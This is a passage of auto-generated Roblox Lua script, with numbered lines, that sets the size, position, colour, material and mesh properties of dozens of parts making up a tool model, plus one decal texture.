  2970. Part238.CFrame = CFrame.new(27.1051025, 1.22827101, 137.041504, -2.79857915e-10, 0.00939138234, -0.99995476, 0.999997616, 2.98022709e-08, -2.48689958e-14, 2.98009351e-08, -0.999953687, -0.00939142704)
  2971. Part238.BottomSurface = Enum.SurfaceType.Smooth
  2972. Part238.TopSurface = Enum.SurfaceType.Smooth
  2973. Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2974. Part238.Position = Vector3.new(27.1051025, 1.22827101, 137.041504)
  2975. Part238.Orientation = Vector3.new(0, -90.5400009, 90)
  2976. Part238.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2977. CylinderMesh239.Parent = Part238
  2978. CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
  2979. CylinderMesh239.Scale = Vector3.new(1, 0.180000007, 1)
  2980. Part240.Parent = Tool0
  2981. Part240.Material = Enum.Material.SmoothPlastic
  2982. Part240.BrickColor = BrickColor.new("Black")
  2983. Part240.Reflectance = 0.050000000745058
  2984. Part240.Rotation = Vector3.new(-90, 0, 179.459991)
  2985. Part240.Anchored = true
  2986. Part240.FormFactor = Enum.FormFactor.Custom
  2987. Part240.Size = Vector3.new(0.200000003, 0.270000011, 0.200000003)
  2988. Part240.CFrame = CFrame.new(27.0733643, 1.26122999, 140.391907, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  2989. Part240.BottomSurface = Enum.SurfaceType.Smooth
  2990. Part240.TopSurface = Enum.SurfaceType.Smooth
  2991. Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2992. Part240.Position = Vector3.new(27.0733643, 1.26122999, 140.391907)
  2993. Part240.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  2994. Part240.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2995. Decal241.Parent = Part240
  2996. Decal241.Texture = "http://www.roblox.com/asset/?id=65628034"
  2997. Decal241.Face = Enum.NormalId.Bottom
  2998. CylinderMesh242.Parent = Part240
  2999. CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
  3000. CylinderMesh242.Scale = Vector3.new(0.599999964, 1, 0.599999964)
  3001. Part243.Parent = Tool0
  3002. Part243.Material = Enum.Material.SmoothPlastic
  3003. Part243.BrickColor = BrickColor.new("Black")
  3004. Part243.Reflectance = 0.050000000745058
  3005. Part243.Rotation = Vector3.new(-90.5400009, -45, -90.7599945)
  3006. Part243.Anchored = true
  3007. Part243.FormFactor = Enum.FormFactor.Custom
  3008. Part243.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3009. Part243.CFrame = CFrame.new(27.1330566, 1.26122999, 140.743469, -0.00939133763, 0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, 0.70710665, 0.999955535, 0.00664079189, -0.00664079189)
  3010. Part243.BottomSurface = Enum.SurfaceType.Smooth
  3011. Part243.TopSurface = Enum.SurfaceType.Smooth
  3012. Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3013. Part243.Position = Vector3.new(27.1330566, 1.26122999, 140.743469)
  3014. Part243.Orientation = Vector3.new(-45, -90.5400009, 0)
  3015. Part243.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3016. SpecialMesh244.Parent = Part243
  3017. SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3018. SpecialMesh244.MeshType = Enum.MeshType.Wedge
  3019. SpecialMesh244.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3020. Part245.Parent = Tool0
  3021. Part245.Material = Enum.Material.SmoothPlastic
  3022. Part245.BrickColor = BrickColor.new("Black")
  3023. Part245.Reflectance = 0.050000000745058
  3024. Part245.Rotation = Vector3.new(-90, 0, 179.459991)
  3025. Part245.Anchored = true
  3026. Part245.FormFactor = Enum.FormFactor.Custom
  3027. Part245.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
  3028. Part245.CFrame = CFrame.new(27.1395264, 1.24609399, 139.762512, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  3029. Part245.BottomSurface = Enum.SurfaceType.Smooth
  3030. Part245.TopSurface = Enum.SurfaceType.Smooth
  3031. Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3032. Part245.Position = Vector3.new(27.1395264, 1.24609399, 139.762512)
  3033. Part245.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  3034. Part245.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3035. CylinderMesh246.Parent = Part245
  3036. CylinderMesh246.Offset = Vector3.new(0, -0.00239999988, 0)
  3037. CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3038. CylinderMesh246.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3039. Part247.Parent = Tool0
  3040. Part247.Material = Enum.Material.SmoothPlastic
  3041. Part247.BrickColor = BrickColor.new("Black")
  3042. Part247.Reflectance = 0.050000000745058
  3043. Part247.Rotation = Vector3.new(89.4599991, 45, 90.7599945)
  3044. Part247.Anchored = true
  3045. Part247.FormFactor = Enum.FormFactor.Custom
  3046. Part247.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3047. Part247.CFrame = CFrame.new(27.0042725, 1.26122999, 140.742371, -0.00939133763, -0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, -0.70710665, 0.999955535, -0.00664079189, 0.00664079189)
  3048. Part247.BottomSurface = Enum.SurfaceType.Smooth
  3049. Part247.TopSurface = Enum.SurfaceType.Smooth
  3050. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3051. Part247.Position = Vector3.new(27.0042725, 1.26122999, 140.742371)
  3052. Part247.Orientation = Vector3.new(45, 89.4599991, -180)
  3053. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3054. SpecialMesh248.Parent = Part247
  3055. SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3056. SpecialMesh248.MeshType = Enum.MeshType.Wedge
  3057. SpecialMesh248.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3058. Part249.Parent = Tool0
  3059. Part249.Material = Enum.Material.SmoothPlastic
  3060. Part249.BrickColor = BrickColor.new("Black")
  3061. Part249.Reflectance = 0.050000000745058
  3062. Part249.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
  3063. Part249.Anchored = true
  3064. Part249.FormFactor = Enum.FormFactor.Custom
  3065. Part249.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3066. Part249.CFrame = CFrame.new(27.0714111, 1.26122999, 140.574951, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
  3067. Part249.BottomSurface = Enum.SurfaceType.Smooth
  3068. Part249.TopSurface = Enum.SurfaceType.Smooth
  3069. Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3070. Part249.Position = Vector3.new(27.0714111, 1.26122999, 140.574951)
  3071. Part249.Orientation = Vector3.new(-45, 89.4599991, 90)
  3072. Part249.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3073. CylinderMesh250.Parent = Part249
  3074. CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
  3075. CylinderMesh250.Scale = Vector3.new(0.675000012, 0.527999997, 0.675000012)
  3076. Part251.Parent = Tool0
  3077. Part251.Material = Enum.Material.SmoothPlastic
  3078. Part251.BrickColor = BrickColor.new("Black")
  3079. Part251.Reflectance = 0.050000000745058
  3080. Part251.Rotation = Vector3.new(90.5400009, -45, 90.7599945)
  3081. Part251.Anchored = true
  3082. Part251.FormFactor = Enum.FormFactor.Custom
  3083. Part251.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3084. Part251.CFrame = CFrame.new(27.0697021, 1.32714796, 140.743164, -0.00939133763, -0.707075536, -0.707075536, -8.8817842e-16, 0.70710665, -0.70710665, 0.999955535, -0.00664079189, -0.00664079189)
  3085. Part251.BottomSurface = Enum.SurfaceType.Smooth
  3086. Part251.TopSurface = Enum.SurfaceType.Smooth
  3087. Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3088. Part251.Position = Vector3.new(27.0697021, 1.32714796, 140.743164)
  3089. Part251.Orientation = Vector3.new(45, -90.5400009, 0)
  3090. Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3091. SpecialMesh252.Parent = Part251
  3092. SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3093. SpecialMesh252.MeshType = Enum.MeshType.Wedge
  3094. SpecialMesh252.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3095. Part253.Parent = Tool0
  3096. Part253.Material = Enum.Material.SmoothPlastic
  3097. Part253.BrickColor = BrickColor.new("Black")
  3098. Part253.Reflectance = 0.050000000745058
  3099. Part253.Rotation = Vector3.new(-89.4599991, 45, -90.7599945)
  3100. Part253.Anchored = true
  3101. Part253.FormFactor = Enum.FormFactor.Custom
  3102. Part253.Size = Vector3.new(0.239999995, 0.200000003, 0.200000003)
  3103. Part253.CFrame = CFrame.new(27.0697021, 1.19531202, 140.743164, -0.00939133763, 0.707075536, 0.707075536, -8.8817842e-16, -0.70710665, 0.70710665, 0.999955535, 0.00664079189, 0.00664079189)
  3104. Part253.BottomSurface = Enum.SurfaceType.Smooth
  3105. Part253.TopSurface = Enum.SurfaceType.Smooth
  3106. Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3107. Part253.Position = Vector3.new(27.0697021, 1.19531202, 140.743164)
  3108. Part253.Orientation = Vector3.new(-45, 89.4599991, -180)
  3109. Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3110. SpecialMesh254.Parent = Part253
  3111. SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3112. SpecialMesh254.MeshType = Enum.MeshType.Wedge
  3113. SpecialMesh254.Scale = Vector3.new(1, 0.225000009, 0.225000009)
  3114. Part255.Parent = Tool0
  3115. Part255.Material = Enum.Material.SmoothPlastic
  3116. Part255.BrickColor = BrickColor.new("Really black")
  3117. Part255.Reflectance = 0.050000000745058
  3118. Part255.Rotation = Vector3.new(-89.4599991, 45, 179.23999)
  3119. Part255.Anchored = true
  3120. Part255.FormFactor = Enum.FormFactor.Custom
  3121. Part255.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3122. Part255.CFrame = CFrame.new(27.0692139, 1.26122999, 140.865967, -0.707075536, -0.00939133763, 0.707075536, 0.70710665, -8.8817842e-16, 0.70710665, -0.00664079189, 0.999955535, 0.00664079189)
  3123. Part255.BottomSurface = Enum.SurfaceType.Smooth
  3124. Part255.TopSurface = Enum.SurfaceType.Smooth
  3125. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3126. Part255.Position = Vector3.new(27.0692139, 1.26122999, 140.865967)
  3127. Part255.Orientation = Vector3.new(-45, 89.4599991, 90)
  3128. Part255.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3129. CylinderMesh256.Parent = Part255
  3130. CylinderMesh256.Offset = Vector3.new(0, -0.239999995, 0)
  3131. CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
  3132. CylinderMesh256.Scale = Vector3.new(0.404999971, 0.0269999988, 0.50999999)
  3133. Part257.Parent = Tool0
  3134. Part257.Material = Enum.Material.SmoothPlastic
  3135. Part257.BrickColor = BrickColor.new("Really black")
  3136. Part257.Rotation = Vector3.new(-180, 0.539999962, -180)
  3137. Part257.Anchored = true
  3138. Part257.FormFactor = Enum.FormFactor.Custom
  3139. Part257.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3140. Part257.CFrame = CFrame.new(27.2574463, 1.336182, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3141. Part257.BottomSurface = Enum.SurfaceType.Smooth
  3142. Part257.TopSurface = Enum.SurfaceType.Smooth
  3143. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3144. Part257.Position = Vector3.new(27.2574463, 1.336182, 139.973999)
  3145. Part257.Orientation = Vector3.new(0, 179.459991, 0)
  3146. Part257.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3147. BlockMesh258.Parent = Part257
  3148. BlockMesh258.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3149. BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3150. BlockMesh258.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3151. Part259.Parent = Tool0
  3152. Part259.Material = Enum.Material.SmoothPlastic
  3153. Part259.BrickColor = BrickColor.new("Really black")
  3154. Part259.Rotation = Vector3.new(-180, 0.539999962, -180)
  3155. Part259.Anchored = true
  3156. Part259.FormFactor = Enum.FormFactor.Custom
  3157. Part259.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3158. Part259.CFrame = CFrame.new(27.2574463, 1.36621106, 139.973999, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3159. Part259.BottomSurface = Enum.SurfaceType.Smooth
  3160. Part259.TopSurface = Enum.SurfaceType.Smooth
  3161. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3162. Part259.Position = Vector3.new(27.2574463, 1.36621106, 139.973999)
  3163. Part259.Orientation = Vector3.new(0, 179.459991, 0)
  3164. Part259.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3165. BlockMesh260.Parent = Part259
  3166. BlockMesh260.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3167. BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3168. BlockMesh260.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3169. Part261.Parent = Tool0
  3170. Part261.Material = Enum.Material.SmoothPlastic
  3171. Part261.BrickColor = BrickColor.new("Black")
  3172. Part261.Rotation = Vector3.new(-180, 0.539999962, -180)
  3173. Part261.Anchored = true
  3174. Part261.FormFactor = Enum.FormFactor.Custom
  3175. Part261.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
  3176. Part261.CFrame = CFrame.new(27.2590332, 1.26122999, 139.763794, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3177. Part261.BottomSurface = Enum.SurfaceType.Smooth
  3178. Part261.TopSurface = Enum.SurfaceType.Smooth
  3179. Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3180. Part261.Position = Vector3.new(27.2590332, 1.26122999, 139.763794)
  3181. Part261.Orientation = Vector3.new(0, 179.459991, 0)
  3182. Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3183. BlockMesh262.Parent = Part261
  3184. BlockMesh262.Offset = Vector3.new(0.0149999997, 0, 0)
  3185. BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3186. BlockMesh262.Scale = Vector3.new(0.299999982, 0.599999964, 0.998999953)
  3187. Part263.Parent = Tool0
  3188. Part263.Material = Enum.Material.SmoothPlastic
  3189. Part263.BrickColor = BrickColor.new("Black")
  3190. Part263.Rotation = Vector3.new(-180, 0.539999962, -180)
  3191. Part263.Anchored = true
  3192. Part263.FormFactor = Enum.FormFactor.Custom
  3193. Part263.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  3194. Part263.CFrame = CFrame.new(27.0793457, 1.12011695, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3195. Part263.BottomSurface = Enum.SurfaceType.Smooth
  3196. Part263.TopSurface = Enum.SurfaceType.Smooth
  3197. Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3198. Part263.Position = Vector3.new(27.0793457, 1.12011695, 139.761902)
  3199. Part263.Orientation = Vector3.new(0, 179.459991, 0)
  3200. Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3201. BlockMesh264.Parent = Part263
  3202. BlockMesh264.Offset = Vector3.new(0, 0.0269999988, 0)
  3203. BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
  3204. BlockMesh264.Scale = Vector3.new(0.75, 0.149999991, 1.005)
  3205. Part265.Parent = Tool0
  3206. Part265.Material = Enum.Material.SmoothPlastic
  3207. Part265.BrickColor = BrickColor.new("Really black")
  3208. Part265.Rotation = Vector3.new(-180, 0.539999962, -180)
  3209. Part265.Anchored = true
  3210. Part265.FormFactor = Enum.FormFactor.Custom
  3211. Part265.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3212. Part265.CFrame = CFrame.new(27.2612305, 1.36621106, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3213. Part265.BottomSurface = Enum.SurfaceType.Smooth
  3214. Part265.TopSurface = Enum.SurfaceType.Smooth
  3215. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3216. Part265.Position = Vector3.new(27.2612305, 1.36621106, 139.553955)
  3217. Part265.Orientation = Vector3.new(0, 179.459991, 0)
  3218. Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3219. BlockMesh266.Parent = Part265
  3220. BlockMesh266.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3221. BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3222. BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
  3223. Part267.Parent = Tool0
  3224. Part267.Material = Enum.Material.SmoothPlastic
  3225. Part267.BrickColor = BrickColor.new("Brick yellow")
  3226. Part267.Rotation = Vector3.new(-180, 0.539999962, -180)
  3227. Part267.Anchored = true
  3228. Part267.FormFactor = Enum.FormFactor.Custom
  3229. Part267.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
  3230. Part267.CFrame = CFrame.new(27.0793457, 1.40722597, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3231. Part267.BottomSurface = Enum.SurfaceType.Smooth
  3232. Part267.TopSurface = Enum.SurfaceType.Smooth
  3233. Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3234. Part267.Position = Vector3.new(27.0793457, 1.40722597, 139.761902)
  3235. Part267.Orientation = Vector3.new(0, 179.459991, 0)
  3236. Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3237. BlockMesh268.Parent = Part267
  3238. BlockMesh268.Offset = Vector3.new(0, -0.00900000054, 0)
  3239. BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
  3240. BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
  3241. Part269.Parent = Tool0
  3242. Part269.Material = Enum.Material.SmoothPlastic
  3243. Part269.BrickColor = BrickColor.new("Brick yellow")
  3244. Part269.Rotation = Vector3.new(-180, 0.539999962, -180)
  3245. Part269.Anchored = true
  3246. Part269.FormFactor = Enum.FormFactor.Custom
  3247. Part269.Size = Vector3.new(0.200000003, 0.200000003, 0.816000223)
  3248. Part269.CFrame = CFrame.new(27.0791016, 1.10229504, 139.765137, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  3249. Part269.BottomSurface = Enum.SurfaceType.Smooth
  3250. Part269.TopSurface = Enum.SurfaceType.Smooth
  3251. Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3252. Part269.Position = Vector3.new(27.0791016, 1.10229504, 139.765137)
  3253. Part269.Orientation = Vector3.new(0, 179.459991, 0)
  3254. Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3255. BlockMesh270.Parent = Part269
  3256. BlockMesh270.Offset = Vector3.new(0, 0.0180000011, 0)
  3257. BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
  3258. BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
  3259. Part271.Parent = Tool0
  3260. Part271.Material = Enum.Material.SmoothPlastic
  3261. Part271.BrickColor = BrickColor.new("Dark stone grey")
  3262. Part271.Rotation = Vector3.new(-180, 0.539999962, -180)
  3263. Part271.Anchored = true
  3264. Part271.FormFactor = Enum.FormFactor.Custom
  3265. Part271.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3266. Part271.CFrame = CFrame.new(27.0745831, 1.36328101, 140.272095, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3267. Part271.BottomSurface = Enum.SurfaceType.Smooth
  3268. Part271.TopSurface = Enum.SurfaceType.Smooth
  3269. Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3270. Part271.Position = Vector3.new(27.0745831, 1.36328101, 140.272095)
  3271. Part271.Orientation = Vector3.new(0, 179.459991, 0)
  3272. Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3273. BlockMesh272.Parent = Part271
  3274. BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
  3275. BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
  3276. Part273.Parent = Tool0
  3277. Part273.Material = Enum.Material.SmoothPlastic
  3278. Part273.BrickColor = BrickColor.new("Really black")
  3279. Part273.Rotation = Vector3.new(-180, 0.539999962, -180)
  3280. Part273.Anchored = true
  3281. Part273.FormFactor = Enum.FormFactor.Custom
  3282. Part273.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3283. Part273.CFrame = CFrame.new(27.2612305, 1.336182, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3284. Part273.BottomSurface = Enum.SurfaceType.Smooth
  3285. Part273.TopSurface = Enum.SurfaceType.Smooth
  3286. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3287. Part273.Position = Vector3.new(27.2612305, 1.336182, 139.553955)
  3288. Part273.Orientation = Vector3.new(0, 179.459991, 0)
  3289. Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3290. BlockMesh274.Parent = Part273
  3291. BlockMesh274.Offset = Vector3.new(0.180000007, -0.1875, 0)
  3292. BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3293. BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
  3294. Part275.Parent = Tool0
  3295. Part275.Material = Enum.Material.SmoothPlastic
  3296. Part275.BrickColor = BrickColor.new("Really black")
  3297. Part275.Rotation = Vector3.new(-180, 0.539999962, -180)
  3298. Part275.Anchored = true
  3299. Part275.FormFactor = Enum.FormFactor.Custom
  3300. Part275.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3301. Part275.CFrame = CFrame.new(26.9016113, 1.39624, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3302. Part275.BottomSurface = Enum.SurfaceType.Smooth
  3303. Part275.TopSurface = Enum.SurfaceType.Smooth
  3304. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3305. Part275.Position = Vector3.new(26.9016113, 1.39624, 139.550354)
  3306. Part275.Orientation = Vector3.new(0, 179.459991, 0)
  3307. Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3308. BlockMesh276.Parent = Part275
  3309. BlockMesh276.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
  3310. BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3311. BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3312. Part277.Parent = Tool0
  3313. Part277.Material = Enum.Material.SmoothPlastic
  3314. Part277.BrickColor = BrickColor.new("Really black")
  3315. Part277.Rotation = Vector3.new(-180, 0.539999962, -180)
  3316. Part277.Anchored = true
  3317. Part277.FormFactor = Enum.FormFactor.Custom
  3318. Part277.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3319. Part277.CFrame = CFrame.new(26.8973389, 1.39624, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3320. Part277.BottomSurface = Enum.SurfaceType.Smooth
  3321. Part277.TopSurface = Enum.SurfaceType.Smooth
  3322. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3323. Part277.Position = Vector3.new(26.8973389, 1.39624, 139.970337)
  3324. Part277.Orientation = Vector3.new(0, 179.459991, 0)
  3325. Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3326. BlockMesh278.Parent = Part277
  3327. BlockMesh278.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
  3328. BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3329. BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3330. Part279.Parent = Tool0
  3331. Part279.Material = Enum.Material.SmoothPlastic
  3332. Part279.BrickColor = BrickColor.new("Really black")
  3333. Part279.Rotation = Vector3.new(-180, 0.539999962, -180)
  3334. Part279.Anchored = true
  3335. Part279.FormFactor = Enum.FormFactor.Custom
  3336. Part279.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3337. Part279.CFrame = CFrame.new(26.8973389, 1.36621106, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3338. Part279.BottomSurface = Enum.SurfaceType.Smooth
  3339. Part279.TopSurface = Enum.SurfaceType.Smooth
  3340. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3341. Part279.Position = Vector3.new(26.8973389, 1.36621106, 139.970337)
  3342. Part279.Orientation = Vector3.new(0, 179.459991, 0)
  3343. Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3344. BlockMesh280.Parent = Part279
  3345. BlockMesh280.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
  3346. BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3347. BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3348. Part281.Parent = Tool0
  3349. Part281.Material = Enum.Material.SmoothPlastic
  3350. Part281.BrickColor = BrickColor.new("Dark stone grey")
  3351. Part281.Rotation = Vector3.new(0, 89.4599991, 180)
  3352. Part281.Anchored = true
  3353. Part281.FormFactor = Enum.FormFactor.Custom
  3354. Part281.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3355. Part281.CFrame = CFrame.new(27.02771, 1.67529297, 140.148438, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
  3356. Part281.BottomSurface = Enum.SurfaceType.Smooth
  3357. Part281.TopSurface = Enum.SurfaceType.Smooth
  3358. Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3359. Part281.Position = Vector3.new(27.02771, 1.67529297, 140.148438)
  3360. Part281.Orientation = Vector3.new(0, 89.4599991, -180)
  3361. Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3362. SpecialMesh282.Parent = Part281
  3363. SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3364. SpecialMesh282.MeshType = Enum.MeshType.Wedge
  3365. SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3366. Part283.Parent = Tool0
  3367. Part283.Material = Enum.Material.SmoothPlastic
  3368. Part283.BrickColor = BrickColor.new("Really black")
  3369. Part283.Rotation = Vector3.new(-180, 0.539999962, -180)
  3370. Part283.Anchored = true
  3371. Part283.FormFactor = Enum.FormFactor.Custom
  3372. Part283.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3373. Part283.CFrame = CFrame.new(26.9016113, 1.336182, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3374. Part283.BottomSurface = Enum.SurfaceType.Smooth
  3375. Part283.TopSurface = Enum.SurfaceType.Smooth
  3376. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3377. Part283.Position = Vector3.new(26.9016113, 1.336182, 139.550354)
  3378. Part283.Orientation = Vector3.new(0, 179.459991, 0)
  3379. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3380. BlockMesh284.Parent = Part283
  3381. BlockMesh284.Offset = Vector3.new(-0.180000007, 0, 0)
  3382. BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3383. BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3384. Part285.Parent = Tool0
  3385. Part285.Material = Enum.Material.SmoothPlastic
  3386. Part285.BrickColor = BrickColor.new("Really black")
  3387. Part285.Rotation = Vector3.new(-180, 0.539999962, -180)
  3388. Part285.Anchored = true
  3389. Part285.FormFactor = Enum.FormFactor.Custom
  3390. Part285.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
